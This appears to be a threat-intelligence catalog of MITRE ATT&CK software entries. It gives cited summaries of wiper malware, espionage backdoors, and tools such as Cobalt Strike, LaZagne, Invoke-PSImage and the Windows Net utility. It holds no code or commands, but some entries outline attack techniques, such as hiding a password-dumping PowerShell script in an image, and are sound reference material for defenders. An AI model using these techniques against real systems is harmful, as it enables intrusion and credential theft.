[Shamoon](<https://attack.mitre.org/software/S0140>) is wiper malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](<https://attack.mitre.org/software/S0140>) has also been seen leveraging [RawDisk](<https://attack.mitre.org/software/S0364>) to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)

## Sykipot - S0018

[Sykipot](<https://attack.mitre.org/software/S0018>) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of [Sykipot](<https://attack.mitre.org/software/S0018>) hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)

## Hydraq - S0203

[Hydraq](<https://attack.mitre.org/software/S0203>) is a data-theft trojan first used by [Elderwood](<https://attack.mitre.org/groups/G0066>) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](<https://attack.mitre.org/groups/G0025>). (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)

## InvisiMole - S0260

[InvisiMole](<https://attack.mitre.org/software/S0260>) is a modular spyware program that has been used by threat actors since at least 2013. [InvisiMole](<https://attack.mitre.org/software/S0260>) has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. (Citation: ESET InvisiMole June 2018)

## BlackEnergy - S0089

[BlackEnergy](<https://attack.mitre.org/software/S0089>) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)

## Reaver - S0172

[Reaver](<https://attack.mitre.org/software/S0172>) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel Items](<https://attack.mitre.org/techniques/T1196>). (Citation: Palo Alto Reaver Nov 2017)

## USBStealer - S0136

[USBStealer](<https://attack.mitre.org/software/S0136>) is malware that has used by [APT28](<https://attack.mitre.org/groups/G0007>) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](<https://attack.mitre.org/software/S0045>). (Citation:

ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)

## ChChes - S0144

[ChChes](<https://attack.mitre.org/software/S0144>) is a Trojan that appears to be used exclusively by [menuPass](<https://attack.mitre.org/groups/G0045>). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)

## POWERSOURCE - S0145

[POWERSOURCE](<https://attack.mitre.org/software/S0145>) is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS\_TXT\_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation:

FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)

## Proxysvc - S0238

[Proxysvc](<https://attack.mitre.org/software/S0238>) is a malicious DLL used by [Lazarus Group](<https://attack.mitre.org/groups/G0032>) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](<https://attack.mitre.org/software/S0238>) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)

## Mosquito - S0256

[Mosquito](<https://attack.mitre.org/software/S0256>) is a Win32 backdoor that has been used by [Turla](<https://attack.mitre.org/groups/G0010>). [Mosquito](<https://attack.mitre.org/software/S0256>) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)

## Carbon - S0335

[Carbon](<https://attack.mitre.org/software/S0335>) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](<https://attack.mitre.org/software/S0335>) has been selectively used by [Turla](<https://attack.mitre.org/groups/G0010>) to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)

## NOKKI - S0353

[NOKKI](<https://attack.mitre.org/software/S0353>) is a modular remote access tool. The earliest observed attack using [NOKKI](<https://attack.mitre.org/software/S0353>) was in January 2018. [NOKKI](<https://attack.mitre.org/software/S0353>) has significant code overlap with the [KONNI](<https://attack.mitre.org/software/S0356>) malware family. There is some evidence potentially linking [NOKKI](<https://attack.mitre.org/software/S0353>) to [APT37](<https://attack.mitre.org/groups/G0067>). (Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)

## LightNeuron - S0395

[LightNeuron](<https://attack.mitre.org/software/S0395>) is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. [LightNeuron](<https://attack.mitre.org/software/S0395>) has been used by [Turla](<https://attack.mitre.org/groups/G0010>) to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](<https://attack.mitre.org/software/S0395>) exists. (Citation: ESET LightNeuron May 2019)

## NotPetya - S0368

[NotPetya](<https://attack.mitre.org/software/S0368>) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](<https://attack.mitre.org/software/S0368>) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](<https://attack.mitre.org/software/S0368>) may be more appropriately thought of as a form of wiper malware. [NotPetya](<https://attack.mitre.org/software/S0368>) contains worm-like features

to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)

## Cobalt Strike - S0154

[Cobalt Strike](<https://attack.mitre.org/software/S0154>) is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)

In addition to its own capabilities, [Cobalt Strike](<https://attack.mitre.org/software/S0154>) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](<https://attack.mitre.org/software/S0002>). (Citation: cobaltstrike manual)

## Invoke-PSImage - S0231

[Invoke-PSImage](<https://attack.mitre.org/software/S0231>) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file or from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)

The tag is: *misp-galaxy:mitre-tool="Invoke-PSImage - S0231"*

Invoke-PSImage - S0231 is also known as:

- Invoke-PSImage

## Net - S0039

The [Net](<https://attack.mitre.org/software/S0039>) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)

[Net](<https://attack.mitre.org/software/S0039>) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [Windows Admin Shares](<https://attack.mitre.org/techniques/T1077>) using `net use` commands, and interacting with services. The `net1.exe` utility is executed for certain functionality when `net.exe` is run and can be used directly in commands such as `net1 user`.

The tag is: `misp-galaxy:mitre-tool="Net - S0039"`

## Tor - S0183

[Tor](<https://attack.mitre.org/software/S0183>) is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. [Tor](<https://attack.mitre.org/software/S0183>) utilizes "Onion Routing," in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingedine Tor The Second-Generation Onion Router)

## RawDisk - S0364

[RawDisk](<https://attack.mitre.org/software/S0364>) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.(Citation: EldoS RawDisk ITpro)(Citation: Novetta Blockbuster Destructive Malware)

## LaZagne - S0349

[LaZagne](<https://attack.mitre.org/software/S0349>) is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. [LaZagne](<https://attack.mitre.org/software/S0349>) is publicly available on GitHub.(Citation: GitHub LaZagne Dec 2018)

The tag is: *misp-galaxy:mitre-tool="LaZagne - S0349"*

LaZagne - S0349 is also known as:

- LaZagne

LaZagne - S0349 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003"* with *estimative-language:likelihood-probability="almost-certain"*

- uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
